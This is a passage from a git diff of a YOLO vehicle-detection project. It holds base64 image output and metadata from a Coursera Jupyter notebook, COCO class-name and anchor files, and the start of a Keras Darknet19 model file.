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\ndap1RpNBAAAAAElFTkSuQmCC\n", + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "out_scores, out_boxes, out_classes = predict(sess, \"test.jpg\")" + ] + } + ], + "metadata": { + "coursera": { + "course_slug": "convolutional-neural-networks", + "graded_item_id": "OMdut", + "launcher_item_id": "bbBOL" + }, + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.7.3" + } + }, + "nbformat": 4, + "nbformat_minor": 2 +} diff --git a/MachineLearning Projects/Vehicle-Detection/images/0001.jpg b/MachineLearning Projects/Vehicle-Detection/images/0001.jpg new file mode 100644 index 00000000..ba280e3d Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0001.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0002.jpg b/MachineLearning Projects/Vehicle-Detection/images/0002.jpg new file mode 100644 index 00000000..501d9dcb Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0002.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0003.jpg b/MachineLearning Projects/Vehicle-Detection/images/0003.jpg new file mode 100644 index 00000000..a90976ca Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0003.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0004.jpg b/MachineLearning Projects/Vehicle-Detection/images/0004.jpg new file mode 100644 index 00000000..3a818efd Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0004.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0005.jpg b/MachineLearning Projects/Vehicle-Detection/images/0005.jpg new file mode 100644 index 00000000..a80a4982 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0005.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0006.jpg b/MachineLearning Projects/Vehicle-Detection/images/0006.jpg new file mode 100644 index 00000000..d792f667 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0006.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0007.jpg b/MachineLearning Projects/Vehicle-Detection/images/0007.jpg new file mode 100644 index 00000000..e64582d4 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0007.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0008.jpg b/MachineLearning Projects/Vehicle-Detection/images/0008.jpg new file mode 100644 index 00000000..223f1816 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0008.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0009.jpg b/MachineLearning Projects/Vehicle-Detection/images/0009.jpg new file mode 100644 index 00000000..f3570bc7 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0009.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0010.jpg b/MachineLearning Projects/Vehicle-Detection/images/0010.jpg new file mode 100644 index 00000000..48a45be1 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0010.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0011.jpg b/MachineLearning Projects/Vehicle-Detection/images/0011.jpg new file mode 100644 index 00000000..929438e6 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0011.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0012.jpg b/MachineLearning Projects/Vehicle-Detection/images/0012.jpg new file mode 100644 index 00000000..b5318ad0 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0012.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0013.jpg b/MachineLearning Projects/Vehicle-Detection/images/0013.jpg new file mode 100644 index 00000000..290c4704 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0013.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0014.jpg b/MachineLearning Projects/Vehicle-Detection/images/0014.jpg new file mode 100644 index 00000000..fc54e698 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0014.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0015.jpg b/MachineLearning Projects/Vehicle-Detection/images/0015.jpg new file mode 100644 index 00000000..33ee5e3a Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0015.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0016.jpg b/MachineLearning Projects/Vehicle-Detection/images/0016.jpg new file mode 100644 index 00000000..d015ebfc Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0016.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0017.jpg b/MachineLearning Projects/Vehicle-Detection/images/0017.jpg new file mode 100644 index 00000000..d20f04ab Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0017.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0018.jpg b/MachineLearning Projects/Vehicle-Detection/images/0018.jpg new file mode 100644 index 00000000..033671fa Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0018.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0019.jpg b/MachineLearning Projects/Vehicle-Detection/images/0019.jpg new file mode 100644 index 00000000..8c24a69f Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0019.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0020.jpg b/MachineLearning Projects/Vehicle-Detection/images/0020.jpg new file mode 100644 index 00000000..df676d16 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0020.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0021.jpg b/MachineLearning Projects/Vehicle-Detection/images/0021.jpg new file mode 100644 index 00000000..31cdf9ca Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0021.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0022.jpg b/MachineLearning Projects/Vehicle-Detection/images/0022.jpg new file mode 100644 index 00000000..298c479b Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0022.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0023.jpg b/MachineLearning Projects/Vehicle-Detection/images/0023.jpg new file mode 100644 index 00000000..c63cbf67 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0023.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0024.jpg b/MachineLearning Projects/Vehicle-Detection/images/0024.jpg new file mode 100644 index 00000000..34b322b5 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0024.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0025.jpg b/MachineLearning Projects/Vehicle-Detection/images/0025.jpg new file mode 100644 index 00000000..80edcfc4 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0025.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0026.jpg b/MachineLearning Projects/Vehicle-Detection/images/0026.jpg new file mode 100644 index 00000000..a1c1b287 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0026.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0027.jpg b/MachineLearning Projects/Vehicle-Detection/images/0027.jpg new file mode 100644 index 00000000..16f94b00 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0027.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0028.jpg b/MachineLearning Projects/Vehicle-Detection/images/0028.jpg new file mode 100644 index 00000000..162d5da6 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0028.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0029.jpg b/MachineLearning Projects/Vehicle-Detection/images/0029.jpg new file mode 100644 index 00000000..3d0e3f3a Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0029.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0030.jpg b/MachineLearning Projects/Vehicle-Detection/images/0030.jpg new file mode 100644 index 00000000..93e40e27 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0030.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0031.jpg b/MachineLearning Projects/Vehicle-Detection/images/0031.jpg new file mode 100644 index 00000000..85f58b07 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0031.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0032.jpg b/MachineLearning Projects/Vehicle-Detection/images/0032.jpg new file mode 100644 index 00000000..cb623f5e Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0032.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0033.jpg b/MachineLearning Projects/Vehicle-Detection/images/0033.jpg new file mode 100644 index 00000000..e25e462c Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0033.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0034.jpg b/MachineLearning Projects/Vehicle-Detection/images/0034.jpg new file mode 100644 index 00000000..4225493f Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0034.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0035.jpg b/MachineLearning Projects/Vehicle-Detection/images/0035.jpg new file mode 100644 index 00000000..4d332dfb Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0035.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0036.jpg b/MachineLearning Projects/Vehicle-Detection/images/0036.jpg new file mode 100644 index 00000000..66b68c79 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0036.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0037.jpg b/MachineLearning Projects/Vehicle-Detection/images/0037.jpg new file mode 100644 index 00000000..976f9414 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0037.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0038.jpg b/MachineLearning Projects/Vehicle-Detection/images/0038.jpg new file mode 100644 index 00000000..8e27691a Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0038.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0039.jpg b/MachineLearning Projects/Vehicle-Detection/images/0039.jpg new file mode 100644 index 00000000..5ab6974c Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0039.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/images/0040.jpg b/MachineLearning Projects/Vehicle-Detection/images/0040.jpg new file mode 100644 index 00000000..7f742361 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/images/0040.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/model_data/coco_classes.txt b/MachineLearning Projects/Vehicle-Detection/model_data/coco_classes.txt new file mode 100644 index 00000000..ca76c80b --- /dev/null +++ b/MachineLearning Projects/Vehicle-Detection/model_data/coco_classes.txt @@ -0,0 +1,80 @@ +person +bicycle +car +motorbike +aeroplane +bus +train +truck +boat +traffic light +fire hydrant +stop sign +parking meter +bench +bird +cat +dog +horse +sheep +cow +elephant +bear +zebra +giraffe +backpack +umbrella +handbag +tie +suitcase +frisbee +skis +snowboard +sports ball +kite +baseball bat +baseball glove +skateboard +surfboard +tennis racket +bottle +wine glass +cup +fork +knife +spoon +bowl +banana +apple +sandwich +orange +broccoli +carrot +hot dog +pizza +donut +cake +chair +sofa +pottedplant +bed +diningtable +toilet +tvmonitor +laptop +mouse +remote +keyboard +cell phone +microwave +oven +toaster +sink +refrigerator +book +clock +vase +scissors +teddy bear +hair drier +toothbrush diff --git a/MachineLearning Projects/Vehicle-Detection/model_data/object_classes.txt b/MachineLearning Projects/Vehicle-Detection/model_data/object_classes.txt new file mode 100644 index 00000000..ee16feb4 --- /dev/null +++ b/MachineLearning Projects/Vehicle-Detection/model_data/object_classes.txt @@ -0,0 +1 @@ +car \ No newline at end of file diff --git a/MachineLearning Projects/Vehicle-Detection/model_data/yolo_anchors.txt b/MachineLearning Projects/Vehicle-Detection/model_data/yolo_anchors.txt new file mode 100644 index 00000000..808be3a9 --- /dev/null +++ b/MachineLearning Projects/Vehicle-Detection/model_data/yolo_anchors.txt @@ -0,0 +1 @@ +0.57273, 0.677385, 1.87446, 2.06253, 3.33843, 5.47434, 7.88282, 3.52778, 9.77052, 9.16828 diff --git a/MachineLearning Projects/Vehicle-Detection/out/test.jpg b/MachineLearning Projects/Vehicle-Detection/out/test.jpg new file mode 100644 index 00000000..f3d7f1e8 Binary files /dev/null and b/MachineLearning Projects/Vehicle-Detection/out/test.jpg differ diff --git a/MachineLearning Projects/Vehicle-Detection/yad2k/models/keras_darknet19.py b/MachineLearning Projects/Vehicle-Detection/yad2k/models/keras_darknet19.py new file mode 100644 index 00000000..30e653d3 --- /dev/null +++ b/MachineLearning Projects/Vehicle-Detection/yad2k/models/keras_darknet19.py @@ -0,0 +1,71 @@ +"""Darknet19 Model Defined in Keras.""" +import functools +from functools import partial + +from keras.layers import Conv2D, MaxPooling2D +from keras.layers.advanced_activations import LeakyReLU +from keras.layers.normalization import BatchNormalization +from keras.models import Model +from keras.regularizers import l2 